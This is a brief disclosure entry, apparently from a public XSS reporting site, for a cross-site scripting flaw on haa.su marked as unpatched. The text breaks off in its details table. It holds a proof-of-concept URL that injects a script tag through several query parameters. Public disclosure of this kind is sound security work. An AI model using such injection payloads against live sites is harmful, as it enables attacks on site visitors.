haa.su XSS vulnerability

Vulnerable URL: http://haa.su/?a=0=%22%3E%3Cscript%3Ealert%28%2FXSSPOSED%2F%29%3B%3C%2Fscript%3E&=%3Cscript%3Ealert%28%2FXSSPOSED%2F%29%3B%3C%2Fscript%3E&result-url;=%3Cscript%3Ealert%28%2FXSSPOSED%2F%29%3B%3C%2Fscript%3E.VaVH-fn4d3A Details: Description| Value ---|--- Patched:| No Latest check f...